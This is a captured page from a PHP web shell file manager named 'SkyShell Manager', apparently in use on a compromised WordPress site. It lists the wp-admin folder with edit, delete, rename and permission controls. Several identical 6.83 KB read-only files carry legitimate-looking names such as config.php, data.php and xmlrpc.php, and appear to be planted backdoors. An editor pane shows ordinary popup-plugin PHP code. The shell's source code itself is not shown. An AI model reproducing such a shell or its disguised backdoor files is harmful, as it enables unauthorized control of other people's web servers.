📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: SGFblikePopup.php
<?php require_once(dirname(__FILE__).'/SGPopup.php'); class SGFblikePopup extends SGPopup { public $content; public $fblikeOptions; public function setContent($content) { $this->content = $content; } public function getContent() { return $this->content; } public function setFblikeOptions($options) { $this->fblikeOptions = $options; } public function getFblikeOptions() { return $this->fblikeOptions; } public static function create($data, $obj = null) { $obj = new self(); $options = json_decode($data['options'], true); $fblikeOptions = $options['fblikeOptions']; $obj->setFblikeOptions($fblikeOptions); $obj->setContent($data['fblike']); return parent::create($data, $obj); } public function save($data = array()) { $editMode = $this->getId()?true:false; $res = parent::save($data); if ($res===false) return false; $sgFblikeContent = $this->getContent(); $fblikeOptions = $this->getFblikeOptions(); global $wpdb; if ($editMode) { $sgFblikeContent = stripslashes($sgFblikeContent); $sql = $wpdb->prepare("UPDATE ".$wpdb->prefix."sg_fblike_popup SET content=%s, options=%s WHERE id=%d", $sgFblikeContent, $fblikeOptions, $this->getId()); $res = $wpdb->query($sql); } else { $sql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix."sg_fblike_popup (id, content, options) VALUES (%d, %s, %s)",$this->getId(),$sgFblikeContent, $fblikeOptions); $res = $wpdb->query($sql); } return $res; } protected function setCustomOptions($id) { global $wpdb; $st = $wpdb->prepare("SELECT content, options FROM ".$wpdb->prefix."sg_fblike_popup WHERE id = %d", $id); $arr = $wpdb->get_row($st,ARRAY_A); $this->setContent($arr['content']); $this->setFblikeOptions($arr['options']); } protected function getExtraRenderOptions() { $locale = $this->getSiteLocale(); $options = json_decode($this->getFblikeOptions(), true); $url = $options['fblike-like-url']; $layout = $options['fblike-layout']; $shareButtonStatus = true; $closePopupStatus = 0; $popupId = (int)$this->getId(); $content = $this->getContent(); if(!empty($options['fblike-dont-show-share-button'])) { $shareButtonStatus = false; } if(!empty($options['fblike-close-popup-after-like'])) { $closePopupStatus = true; } $content .= "<div id=\"sg-facebook-like\"> <script type=\"text/javascript\"> window.fbAsyncInit = function () { FB.Event.subscribe('edge.create', function(response) { if($closePopupStatus) { jQuery.sgcolorbox.close(); } }); }; (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = \"https://connect.facebook.net/".$locale."/sdk.js#xfbml=1&version=v2.5\"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk')); </script>"; $content .= '<div class = "sg-fb-buttons-wrapper"><div class="fb-like" data-href="'.$url.'" data-layout="'.$layout.'" data-action="like" data-show-faces="true" data-share="'.$shareButtonStatus.'"></div></div></div>'; $content .= '<style> .sg-fb-buttons-wrapper{ text-align: center; min-height: 25px; } #sgcboxLoadedContent iframe { max-width: none !important; } </style>'; $hasShortcode = $this->hasPopupContentShortcode($content); if($hasShortcode) { $content = $this->improveContent($content); } $this->sgAddPopupContentToFooter($content, $popupId); $content = trim($content); return array('html'=>$content); } public function render() { return parent::render(); } }
Save